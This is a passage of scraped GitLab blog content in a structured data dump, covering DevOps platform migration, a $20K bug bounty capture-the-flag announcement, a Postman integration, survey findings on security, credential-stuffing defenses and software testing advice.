end-to-end DevOps platform is that everyone's needs are different so there isn’t one “right way” to carry out your migration.\n\nA company that has 1,000 users will have completely different DevOps needs than a company that has 5,000 users. What your specific DevOps platform migration plan requires will depend on the types of projects you migrate, the file types within those projects, and a whole host of other parameters. Because of this, there is not a “one size fits all” migration process for everyone to follow. \n\nHere’s a basic 3-step guide for migrating to a DevOps platform:\n\n**Begin by identifying** the strategic goals and be clear about why they are a priority for future business plans.\n\n**Evaluate tools** currently in use that no longer serve future goals. Ultimately the goal should be to operate entirely out of a single application for maximum efficiency. But it may make sense to migrate some things now and others down the line. \n\nThis is the time to become a historian and discern which tools have been problematic in the past. Consider what to migrate right away or later on and why (i.e., instability or costly maintenance and licensing) and really use that to inform the migration process. \n\n_An important note: Take into consideration the business disruption that migration has on a company. Replacing existing tools with a new DevOps platform in one step could mean sweeping changes across the organization, and the fallout might not be worth it. Instead, start with the things taking time, effort and money to maintain. And continue to keep it as simple and streamlined as possible._\n\n**Have everyone** on the team complete a self-evaluation so there are no surprises.\n\n## Do a self-evaluation \n\nHere are key questions to ask:\n\n- What’s the timeline? Discuss with all involved parties – existing team members and a representative of the new DevOps platform – how much time to allot for a completed migration. Migrations can take anywhere from 2 weeks for the initial migration to 3-6 months for monitoring. \n\n- What are the costs? This kind of platform adoption can ultimately save a LOT of money. However, the adoption of a new DevOps platform and the associated migration will no doubt have costs. Consider all costs and make sure they align with budgetary goals and requirements.\n\n- What about assistance? Are other parts of the company prepared to support a migration? How much of this will require work from the existing team and how much support will the DevOps platform provider offer? \n\n- Who are the primary and other platform users? What teams of people will migrate to this new platform? Will everyone have the same level or different levels of permissions? What needs to be done so that these teams are prepared to learn and teach the ins and outs of the new platform to other team members? \n\n- What data is migrating? Make sure to have a 360 view of the data involved in a migration including, projects, issues, and file types. What changes can happen with data when moving to a brand new DevOps platform? When evaluating the projects planned for migration, explore which applications teams spend the most time and energy working with, and what will set them up for success in the new platform.\n\n- How will automation fit in? Ensure teams understand the technology underpinnings of automation, like Kubernetes, CI/CD and more.\nHow should it be customized? Not every tool on a DevOps platform will be right for every team, and some tools might be a better fit at a later date. It makes sense to address any technology “outliers” right from the start. \n\n- Should the process be documented? Every step of the migration process should be documented and shared across teams. This level of transparency and an iterative, easy-to-search knowledge base can help problem-solve and refer back to stages already completed. Much like a single source for DevOps, a single source of truth for DevOps migration info helps everyone involved. \n\n- What about security? Security is never a “one and done,” but this is a good time to consider processes and levels of protection.\nWhat are good results?: What will a successful migration look like – when data is moved, or when teams are comfortable in their knowledge and use of the new system? Map out what the goals that will be critical to a successful migration.\n\nCheck out our _[Migrating to a DevOps platform](https://page.gitlab.com/migrate-to-devops-guide.html)_ eBook  for even more useful information about how to complete a successful DevOps platform migration.\n",[4103,8570,674],{"slug":12859,"featured":6,"template":678},"a-3-step-plan-for-devops-platform-migration","content:en-us:blog:a-3-step-plan-for-devops-platform-migration.yml","A 3 Step Plan For Devops Platform Migration","en-us/blog/a-3-step-plan-for-devops-platform-migration.yml","en-us/blog/a-3-step-plan-for-devops-platform-migration",{"_path":12865,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12866,"content":12872,"config":12877,"_id":12879,"_type":16,"title":12880,"_source":17,"_file":12881,"_stem":12882,"_extension":20},"/en-us/blog/capture-the-flag-in-our-bug-bounty-program",{"title":12867,"description":12868,"ogTitle":12867,"ogDescription":12868,"noIndex":6,"ogImage":12869,"ogUrl":12870,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12870,"schema":12871},"Give it a go: Capture the flag for $20K USD in our bug bounty program","We created a private project containing a file with a flag. Use a permission-related vulnerability to bypass access control (without user interaction) and read the flag for a $20K USD bonus.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670960/Blog/Hero%20Images/sigmund-i2VgGp5BwJg-unsplash.jpg","https://about.gitlab.com/blog/capture-the-flag-in-our-bug-bounty-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Give it a go: Capture the flag for $20K USD in our bug bounty program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather Simpson\"}],\n        \"datePublished\": \"2022-08-24\",\n      }",{"title":12867,"description":12868,"authors":12873,"heroImage":12869,"date":12874,"body":12875,"category":674,"tags":12876},[12307],"2022-08-24","\n\n📣 We're issuing a challenge to all the amazing bug bounty hunters out there who make products and organizations like ours more secure. 👇\n\n## Capture the Flag (CTF) first and a $20,000 USD bounty is yours.  \n\nIt's that simple. The idea... not capturing the flag... at least that's our hope. But show us what you got, please. 😛\n\n### Why are we doing this?\n\nOur aim with this CTF is to tackle potential vulnerabilities with *lower* CVSS scores but **high business impact** that may not get as much attention in our bug bounty program. We want to show those vulns the love through this CTF.\n\n### How do you get started?\n\nWe've created a private group with a private project that contains a file with a flag. Be the first person to use a permission-related vulnerability to bypass access control, without user interaction, read the flag. and voilà, the $20,000 USD bonus is yours. 🎉 You can get all the details and requirements in our policy: [https://hackerone.com/gitlab](https://hackerone.com/gitlab).  \n\n### What else do you need to know?\n\n*We thought you might have questions, so we've created a few FAQ.*\n\n**Q: How is this different from other CTFs?**   \n**A:**  There is no known solution yet :). Also, this is a single, ongoing challenge. The sole purpose here is to capture a flag inside a private project of a private group on GitLab.com, with the intent of demonstrating the ability to expose a real-world vulnerability. Similar to most CTFs, we're offering a prize, and valid bug bounty reports of permission-related vulnerabilities that contain this flag will receive a bonus of $20,000 USD.\n\n**Q: How will I know when someone has already captured the flag?**  \n**A:**  Currently, there is one (1) flag available. The bonus will be awarded to the first person to find the flag and file a report on our [Bug Bounty Program with HackerOne](https://hackerone.com/gitlab?type=team), including the steps to successfully reproduce. We'll update our policy on HackerOne as soon as the flag is found. You can stay informed by subscribing to program updates on our bug bounty program with HackerOne. \n\n**Q: Can the flag be captured multiple times?**  \n**A:**  The first valid report with the flag will be awarded the bonus, and, at that time, the CTF will be paused. After testing and improving our defenses, we will re-enable the flag and update our bug bounty program policy to indicate the CTF is open again.\n\n**Q: Do I actually have to obtain the flag, or just prove that I can obtain the flag?**  \n**A:**  Yes, you must obtain the flag and include it in a report of a permission-related vulnerability that can bypass access control without user interaction. We have provided the group name (gitlab-h1-bbp-ctf-group) and group ID (55842926) in order to make it clear where the flag can be found.\n\n**Q: If I capture the flag, do I get the $20K USD bounty plus any applicable regular bounties?**  \n**A:**  Yes, but please keep in mind that the CTF bonus is specifically for permission-related vulnerabilities that can bypass access control without user interaction. Also, please note that the use of a leaked administrator-privileged token is not eligible for the CTF, but is still eligible for our program's maximum bounty payout.\n\n## Stay updated on the CTF\n\nBe sure to `subscribe` 🔔 to our [program on HackerOne](https://hackerone.com/gitlab), as we'll update our policy each time the flag is captured (which means we'll need to test, fix, and reset) as well as when the flag is available again.  \n\n**Happy hacking and we look forward to your next report!**\n\n\nCover image by [Sigmund](https://unsplash.com/@sigmund?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/maze?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674],{"slug":12878,"featured":6,"template":678},"capture-the-flag-in-our-bug-bounty-program","content:en-us:blog:capture-the-flag-in-our-bug-bounty-program.yml","Capture The Flag In Our Bug Bounty Program","en-us/blog/capture-the-flag-in-our-bug-bounty-program.yml","en-us/blog/capture-the-flag-in-our-bug-bounty-program",{"_path":12884,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12885,"content":12891,"config":12896,"_id":12898,"_type":16,"title":12899,"_source":17,"_file":12900,"_stem":12901,"_extension":20},"/en-us/blog/postman-integration-with-gitlab-makes-your-api-workflows-easier",{"title":12886,"description":12887,"ogTitle":12886,"ogDescription":12887,"noIndex":6,"ogImage":12888,"ogUrl":12889,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12889,"schema":12890},"Postman integration with GitLab makes API workflows easier","Learn how to use the git integration to link APIs in Postman to GitLab cloud repos.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671434/Blog/Hero%20Images/introducing-continuous-workflows.jpg","https://about.gitlab.com/blog/postman-integration-with-gitlab-makes-your-api-workflows-easier","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Postman integration with GitLab makes API workflows easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andy Rogers\"}],\n        \"datePublished\": \"2022-08-24\",\n      }",{"title":12886,"description":12887,"authors":12892,"heroImage":12888,"date":12874,"body":12894,"category":734,"tags":12895},[12893],"Andy Rogers","\n\nAPIs are more than just an interface. From a development lifecycle perspective, an API includes source code, definition files, tests, performance measurements, documentation, security audits, deployments, and feedback from API consumers. All of these elements are required for a successful API implementation. So, in partnership with GitLab, Postman created a git integration that allows users to link APIs in Postman to their GitLab cloud repos (on-prem versions of GitLab are only supported on [Postman Enterprise](https://www.postman.com/pricing/)).\n\nThe [Postman API Platform](https://blog.postman.com/new-postman-api-platform-redefining-api-management-for-api-first-world/) is designed to help teams collaborate seamlessly by providing tools for the entire API lifecycle. We understand that a fundamental part of the API lifecycle includes [developer workflows](https://blog.postman.com/the-reimagined-api-first-workflow-for-developers/) centered around code and source control.\n\n![illustration](https://about.gitlab.com/images/blogimages/postman1.png){: .shadow}\n\n## 4 key benefits for better collaboration\n\nThe launch of this integration earlier in the year provides four key benefits that empower teams to work faster and better together:\n\n**1.** It introduces the concept of version control into Postman. Users are now able to manage and sync branches, releases, versions, and tags for their APIs in GitLab and Postman. \n\n\n![screenshot of drop-down menu](https://about.gitlab.com/images/blogimages/postman2.png){: .shadow}\n\n\n**2.** Elements created in Postman can be pushed to a user’s GitLab repository, where the schema and collections can coexist alongside the source code. Likewise, branching workflows that your team might already be using can now be followed in Postman; external changes to code and API definitions are reviewable and can be merged back to Postman.\n\n\n![screenshot of branch info](https://about.gitlab.com/images/blogimages/postman3.png){: .shadow}\n\n**3.** This integration enables developers to think about API elements as the API itself, instead of treating code, API definitions, documentation, collections, tests, monitors, etc. as independent entities. All of these constitute the API. Moreover, this allows a higher-level view of the entire API, rather than just the source code — a critical requirement for any organization who wants to build a structured and robust API program.\n\n\n![screenshot of API info](https://about.gitlab.com/images/blogimages/postman4.png){: .shadow}\n\n\n**4.** The Postman-GitLab integration greatly minimizes the likelihood that downstream teams and API consumers will interact with outdated (or even deprecated) APIs or API elements. Users don’t have to spend time deciphering what API, collection, or documentation is current, since they can see what version they are working with all the way back to the code. In Postman, users also have direct access to real-time collaborative tools such as commenting and forking/merging to maintain synchronization between downstream API consumption and the source of truth.\n\n![illustration](https://about.gitlab.com/images/blogimages/postman5.png){: .shadow}\n\n## An integration for the API-first world\n\nOur partnership with GitLab supports our commitment to building Postman as the platform for the [API-first world](https://api-first-world.com/). With integrations like this, [API-first companies](https://blog.postman.com/what-is-an-api-first-company/) are now more productive, can deliver higher-quality products, and are able to build stronger ecosystems of developers, partners, and consumers. \n\nTo get started with the GitLab integration, check out [our guide](https://blog.postman.com/the-reimagined-api-first-workflow-for-developers/) and our how-to video for GitLab integration config:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/BL8DFOPncMc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n_Andy Rogers is product manager at Postman._\n\n\n",[4103,1444,232],{"slug":12897,"featured":6,"template":678},"postman-integration-with-gitlab-makes-your-api-workflows-easier","content:en-us:blog:postman-integration-with-gitlab-makes-your-api-workflows-easier.yml","Postman Integration With Gitlab Makes Your Api Workflows Easier","en-us/blog/postman-integration-with-gitlab-makes-your-api-workflows-easier.yml","en-us/blog/postman-integration-with-gitlab-makes-your-api-workflows-easier",{"_path":12903,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12904,"content":12910,"config":12914,"_id":12916,"_type":16,"title":12917,"_source":17,"_file":12918,"_stem":12919,"_extension":20},"/en-us/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer",{"title":12905,"description":12906,"ogTitle":12905,"ogDescription":12906,"noIndex":6,"ogImage":12907,"ogUrl":12908,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12908,"schema":12909},"Ditch toolchain problems with a DevOps platform","Migrating to a platform is the next step in the DevOps evolution.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667978/Blog/Hero%20Images/go-tools-and-gitlab.jpg","https://about.gitlab.com/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ditch toolchain problems with a DevOps platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-08-24\",\n      }",{"title":12905,"description":12906,"authors":12911,"heroImage":12907,"date":12874,"body":12912,"category":962,"tags":12913},[3907],"\n\nBy adopting DevOps tools without an end-to-end platform, teams have been adding complexity, mounting costs, and headaches to their job. [Migrating to a true Devops platform](https://page.gitlab.com/migrate-to-devops-guide.html) is the way to get out from under all of that and gain control of projects, break down silos, and cultivate collaboration.\n\nCompanies are increasingly turning to DevOps to create software more efficiently and securely. However, not all of them have adopted a [single DevOps platform](/blog/welcome-to-the-devops-platform-era/), instead opting to cobble together a myriad of tools to handle everything in the software development lifecycle – from planning to delivery. Of course, DevOps tools are helpful, but there can be too much of a good thing.\n\nThis do-it-yourself, or DIY, effort creates a mish-mash of tools that force team members to continuously jump back and forth between multiple interfaces, passwords, and ways of working. It also creates a chaotic environment that needs to be endlessly updated and held together with digital duct tape. And by using a plethora of disparate tools, no one gets an overall view of the projects they’re working on.\n\nGoing DIY isn’t just affecting software development and deployment. It’s also weighing down the business that relies on those products.\n\nThe [problem solver here is the end-to-end platform](/blog/the-devops-platform-for-agile-business/). It’s the next step in DevOps, changing the way people work in a fundamental way.\n\nMigrating from a seat-of-your-pants, DIY system to a simpler, more powerful, single application brings a lot of benefits. Using an end-to-end platform eliminates the time-consuming and costly tangle of tools, breaks down silos, [builds security into every step](/blog/one-devops-platform-can-help-you-achieve-devsecops/) of the development process, and speeds strategic visions into actual working software. The platform enables tech teams to increase efficiency by focusing on delivering software, instead of updating, patching, and stitching together toolchains. \n\n## Eliminating the DevOps tax\n\nMigrating from a complex toolchain to a platform also will eliminate the DevOps tax. \n\nThat refers to the cost that organizations incur when they employ multiple tools and/or multiple toolchains instead of a single, continuous platform. Think about how much time workers spend stitching together and maintaining a toolchain rather than focusing on planning, developing, and deploying software.\n\nHow much are organizations wasting on the dreaded DevOps tax? Too much: our [2022 Global DevSecOps Survey](/developer-survey/) found nearly 40% of devs are spending between one-quarter and one-half of their time integrating and maintaining toolchains, while another 33% spend half to **all** of their time dealing with this issue. Thus it's no surprise that 69% of respondents want to consolidate their toolchains.\n\nA return on investment, or ROI, should come quickly for companies migrating to a DevOps platform, since they will be saving the money that would have been spent watering and feeding a large, complicated tangle of tools. \n\n##  Fostering collaboration\n\nAnother value add to using a DevOps platform is that it will [foster collaboration](/blog/5-ways-collaboration-boosts-productivity-and-your-career/) and shared responsibility. Team members will no longer be working in isolated silos, focused only on their own project – or even just a piece of a project. A DevOps platform enables communication and information sharing. It also adds transparency by giving everyone with a stake in the project a clear view of the progress being made and any challenges being encountered. It also allows for people to make suggestions to share ideas or help clear away obstacles. \n\nA [DevOps platform](/solutions/devops-platform/) will streamline every aspect of the software development lifecycle — from planning to development, testing, deployment, and monitoring. Check out the [Migrating to a DevOps platform playbook](https://page.gitlab.com/migrate-to-devops-guide.html) for more information on replacing your DIY DevOps toolchain with an end-to-end platform.\n",[4103,8570,674],{"slug":12915,"featured":6,"template":678},"too-many-toolchains-a-devops-platform-migration-is-the-answer","content:en-us:blog:too-many-toolchains-a-devops-platform-migration-is-the-answer.yml","Too Many Toolchains A Devops Platform Migration Is The Answer","en-us/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer.yml","en-us/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer",{"_path":12921,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12922,"content":12927,"config":12933,"_id":12935,"_type":16,"title":12936,"_source":17,"_file":12937,"_stem":12938,"_extension":20},"/en-us/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment",{"title":12923,"description":12924,"ogTitle":12923,"ogDescription":12924,"noIndex":6,"ogImage":12110,"ogUrl":12925,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12925,"schema":12926},"DevSecOps Survey 2022: Security leads concern and investment","Find out if your successes and concerns about security and more match those of your peers.","https://about.gitlab.com/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2022 Global DevSecOps Survey: Security is the top concern, investment\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-08-23\",\n      }",{"title":12928,"description":12924,"authors":12929,"heroImage":12110,"date":12930,"body":12931,"category":962,"tags":12932},"GitLab's 2022 Global DevSecOps Survey: Security is the top concern, investment",[11618],"2022-08-23","\nThe days of security as a “nice to have” are officially over as we enter the era of [DevSecOps](/topics/devsecops/). In our [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) of more than 5,000 practitioners, security was the driving force behind technology choices, team structure, DevOps platform use, and more. \n\nThe findings from our [sixth annual survey](/developer-survey/) represent a dramatic shift from past years, when security teams – and security concerns – were often siloed and silenced in the push to get software out the door faster.\n\nNothing could be further from the truth today:\n\n- The number one reason to implement a DevOps platform? Security. (And 75% of DevOps teams use a [DevOps platform](/topics/devops-platform/) currently or plan to this year.)\n\n- The number one benefit of a DevOps platform? Security.\n\n- The number one investment priority for 2022? Security.\n\nThe attention to security in DevOps teams doesn’t stop there. As our surveys have shown since 2020, [DevOps roles continue to shift](/blog/software-developer-changing-role/), and this year, many of those shifts were laser-focused on security.\n\n- 53% of developers told us they’re “fully responsible” for security in their organizations, a 14 point increase from 2021.\n\n- Over one-third of security pros report being “hands on” and involved on a daily basis with dev and ops, an 11% increase from last year (and a massive cultural shift from groups not always known to get along).\n\n- Almost 50% of ops pros say they’re fully responsible for security in their organizations, up 20% from last year. \n\nAnd when we asked developers about the most difficult parts of their jobs, thousands pointed to security and security-related concerns. Three developers summed it up:\n\n_“Cyber security attacks are the biggest concerns facing us today.”_\n\n_“Data security, data security, I repeat, data security.”_\n\n_“Trying to build applications that are secure and stable.”_\n\n## More work to do\n\nSecurity clearly has a seat at the DevOps table today, but areas of friction remain. \n\nFor starters, security testing requires a balance that’s difficult to achieve. Static application security testing [(SAST)](/direction/secure/static-analysis/sast/), dynamic application security testing [(DAST)](/direction/secure/dynamic-analysis/dast/), and container and dependency scans are increasing, which is good news, but the percentage of devs able to easily access those results in their workflows remains stubbornly low (30% or less). \n\nAnd sec and dev [may never see eye to eye](/blog/developer-security-divide/) on finding and fixing bugs. For the third year in a row, sec pros said devs don’t find enough bugs early enough in the process, meaning they are stuck finding and fixing them much later (when it’s more difficult). And, as we’ve heard repeatedly over the last years, security’s focus and development’s focus aren’t usually the same: \n\n**57% of sec pros said finding bugs was a developer performance metric in their organizations, but 56% said it was difficult to get developers to actually prioritize bug remediation.**\n\n## Facing the future\n\nWhile security pros feel good about their organizations’ security postures (71% rated them as “good” or “very good”), they’re not feeling particularly optimistic about the future. A full 43% said they feel “somewhat” or “very” unprepared for the future; to look at it from another way, the percentage of sec pros who are confident, 56%, is 20 points *lower* than either their ops or dev colleagues.\n\nWhat can help power security professionals into the future? Surprisingly, the top answer (54%) is AI, which was a 33% increase from last year. Since 2020, sec respondents have said soft skills like communication and collaboration were most important but this year soft skills came in second place.\n\nSecurity is just one of many themes – automation, AI, information overload, real world challenges, compliance, and faster releases, to name just a few – our survey uncovered. So download and share the entire report, [“The 2022 DevSecOps Survey: Thriving in an Insecure World”](/developer-survey/), to dig deeper into them.\n\n## Read the previous surveys!\n\n[GitLab 2021 DevSecOps Survey](/developer-survey/previous/2021)\n\n[GitLab 2020 Global Developer Report: DevSecOps](/developer-survey/previous/2020/)\n\n[GitLab 2019 Global Developer Report: DevSecOps](/developer-survey/previous/2019/)\n",[8570,4103,674],{"slug":12934,"featured":6,"template":678},"gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment","content:en-us:blog:gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment.yml","Gitlabs 2022 Global Devsecops Survey Security Is The Top Concern Investment","en-us/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment.yml","en-us/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment",{"_path":12940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12941,"content":12947,"config":12954,"_id":12956,"_type":16,"title":12957,"_source":17,"_file":12958,"_stem":12959,"_extension":20},"/en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse",{"title":12942,"description":12943,"ogTitle":12942,"ogDescription":12943,"noIndex":6,"ogImage":12944,"ogUrl":12945,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12945,"schema":12946},"How GitLab is fighting credential stuffing and platform abuse","Integration of fraud detection and prevention tool into authentication flow increases risk reduction.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671606/Blog/Hero%20Images/workflow-tips-security-quality-cover.jpg","https://about.gitlab.com/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab adds further measures to combat credential stuffing and other types of platform abuse\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Monmayuri Ray\"}],\n        \"datePublished\": \"2022-08-19\",\n      }",{"title":12948,"description":12943,"authors":12949,"heroImage":12944,"date":12951,"body":12952,"category":674,"tags":12953},"GitLab adds further measures to combat credential stuffing and other types of platform abuse",[12950],"Monmayuri Ray","2022-08-19","\n\nWith an observed increase in credential stuffing attacks, we at GitLab send periodic reminders to users to [enable multifactor authentication](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html), which helps to reduce this type of attack but does not entirely eliminate it. Since MFA is a choice per user discretion, we have some users who have not enabled MFA.\n[Credential stuffing attacks](https://owasp.org/www-community/attacks/Credential_stuffing) are particularly threatening because they are a popular method by which scammers take over users’ accounts, at scale.\n \nTo further reduce the threat of credential stuffing attacks on GitLab.com, the anti-abuse team at GitLab implemented additional protections when users authenticate. We contracted with fraud prevention and account security firm Arkose Labs to integrate [Arkose Protect](https://www.arkoselabs.com/arkose-protect/) into the user login flow to validate sessions before allowing successful login. This initiative was prioritized as part of a rapid action process where there was collaboration among various teams, engineers, and Arkose Labs for the implementation to go live on April 29, 2022.\n\nThe rapid action implementation reduces the risk of account takeover for GitLab.com users, while also reducing spam and crypto mining abuse of our users' projects.\n\n## How this risk reduction works\n\nWe look into several checks within the authentication flow, which include change in IP address, user activity, and failed login attempts for Arkose Labs to evaluate the risk of the session. The risk score is based on a multi-classification machine learning model of “high”, “medium”, “low”.\n\nIf the risk is rated low, the user is allowed to proceed to authenticate and has the same experience they had previously. Approximately 10% of the time the risk is higher. In that case, the user must complete an enhanced CAPTCHA from Arkose Labs before they are allowed to authenticate. Based on the feedback data, the score system is also adjusted and learns from reported false positives and false negatives.\n\nThe flow:\n\n![the flow](https://about.gitlab.com/images/blogimages/credentialstuffing3.png){: .shadow}\n\nImplementing these security controls reduces the risk of automated password guessing while also reducing automated account registrations that, as mentioned above, are used by some attackers to spam or do crypto mining. The reduction in abuse has been significant: Accounts blocked by automation and manually by our trust and safety team members were reduced by more than 40% as a result of these new features.\n\n## The future\n\nThe anti-abuse team is planning future work to further reduce abuse of our platform while minimizing the impact on legitimate users when they register for an account, authenticate, and use features that are sometimes abused (such as CI jobs being abused to do crypto mining). For example, we plan to have a holistic user scoring engine that can provide a trust score based on every activity. \n\nLearn more about [how GitLab works with Arkose Protect](https://docs.gitlab.com/ee/integration/arkose.html).\n\n",[4103,676,674],{"slug":12955,"featured":6,"template":678},"gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse","content:en-us:blog:gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse.yml","Gitlab Adds Further Measures To Combat Credential Stuffing And Other Types Of Platform Abuse","en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse.yml","en-us/blog/gitlab-adds-further-measures-to-combat-credential-stuffing-and-other-types-of-platform-abuse",{"_path":12961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12962,"content":12968,"config":12973,"_id":12975,"_type":16,"title":12976,"_source":17,"_file":12977,"_stem":12978,"_extension":20},"/en-us/blog/the-gitlab-guide-to-modern-software-testing",{"title":12963,"description":12964,"ogTitle":12963,"ogDescription":12964,"noIndex":6,"ogImage":12965,"ogUrl":12966,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12966,"schema":12967},"The GitLab guide to modern software testing","If test is your DevOps team's Public Enemy No. 1, it's time to rethink your strategy. Here's what you need to know about modern software testing.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668307/Blog/Hero%20Images/test-automation-devops.jpg","https://about.gitlab.com/blog/the-gitlab-guide-to-modern-software-testing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GitLab guide to modern software testing\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-08-18\",\n      }",{"title":12963,"description":12964,"authors":12969,"heroImage":12965,"date":12970,"body":12971,"category":962,"tags":12972},[11618],"2022-08-18","\nWhat's the trickiest part of DevOps? It's software testing, hands down. Year after year, respondents to our [annual DevSecOps surveys](/developer-survey/) have called out testing as the most likely reason for release delays. And that's not all they said: \"Testing takes too long,\" \"There are too many tests,\" \"We need to do more testing,\" “We need more automated testing but don't have time,\" \"Testing happens too late,\" etc.\n\nClearly something this fraught needs all the help, so here is our best advice to get testing \"just right\" in any modern DevOps practice. \n\n## Use the right metrics\n\nAll of the testing in the world doesn't matter if a DevOps team is measuring the wrong things. At GitLab, we use industry-standard metrics, but we look at them a bit differently. When it comes to S1 and S2 bugs we don’t count the time to close but rather the age of the bugs that remain open. Our reasoning? We want to look forward, but we also don't want to [incentivize closing only newer bugs](/blog/gitlab-top-devops-tooling-metrics-and-targets/). So it's important to make sure DevOps teams are looking at the right metrics and with shared goals in mind.\n\n## Forget flaky\n\nTests are noisy, and they can be flaky, setting off alarms and disrupting developer flow, often for no reason. That's at the heart of developer frustration with testing, and one of the biggest problems DevOps teams need to solve. GitLab's Vice President of Quality [Mek Stittri](/company/team/#meks) suggests re-thinking how automated tests are created. Tests need to be validating the right things, but that must include looking at how all of the code components work together and not just at pieces of code. Finally, it doesn't hurt to [develop a manual testing mindset](/blog/software-test-at-gitlab/).\n\n## Make it modern\n\nIn fact, a manual testing mindset, where test designers create tests that actually mimic what real users do, is a key underpinning of modern software testing in DevOps. Testers need to consider getting certified, embracing new technologies like AI, and, perhaps most importantly, be [evangelists for quality](/blog/how-to-leverage-modern-software-testing-skills-in-devops/) on a DevOps team.\n\n## Make automation work harder\n\nSoftware testing may be the most annoying DevOps step, but there's no doubt that automating the process makes everything work more smoothly. Teams with test automation [have fewer complaints about release delays](/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/). And teams that have taken it up a notch and added AI/ML into their test automation process are even more upbeat about testing. After all, bots [don't need to take a lunch break or a vacation](/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook/). Finally, if automation is well thought out, QA and developers can [actually work together to get code out the door](/blog/what-blocks-faster-code-release/).\n\n## Test for everything\n\nFor all the developer finger-pointing around software testing, it's also clear from our surveys that _more_ testing – of everything – has to happen. When considering how to modernize a software testing strategy, don't forget that \"nice to haves\" like [accessibility testing](/blog/introducing-accessibility-testing-in-gitlab/) aren't actually optional but critical for success.\n\nAnd also don't overlook the potential of newer test techniques like [fuzzing](/blog/why-continuous-fuzzing/), which can work with [Go](/blog/how-to-fuzz-go/), [Rust](/blog/how-to-fuzz-rust-code/), and other languages, and take testing into places other methodologies cannot.\n\n## The bottom line\n\nTesting doesn't have to be the enemy of speedy releases or the object of so much frustration. Start fresh with a modern software testing approach and and make it easy for teams to get the most out of QA.\n",[942,4103,1268],{"slug":12974,"featured":6,"template":678},"the-gitlab-guide-to-modern-software-testing","content:en-us:blog:the-gitlab-guide-to-modern-software-testing.yml","The Gitlab Guide To Modern Software Testing","en-us/blog/the-gitlab-guide-to-modern-software-testing.yml","en-us/blog/the-gitlab-guide-to-modern-software-testing",{"_path":12980,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12981,"content":12987,"config":12992,"_id":12994,"_type":16,"title":12995,"_source":17,"_file":12996,"_stem":12997,"_extension":20},"/en-us/blog/why-devops-and-zero-trust-go-together",{"title":12982,"description":12983,"ogTitle":12982,"ogDescription":12983,"noIndex":6,"ogImage":12984,"ogUrl":12985,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12985,"schema":12986},"Why DevOps and zero trust go together","Learn how DevOps and zero trust have matured into a solid pairing and the security considerations that come into play.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683257/Blog/Hero%20Images/devopszerotrust.jpg","https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why DevOps and zero trust go together\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-08-17\",\n      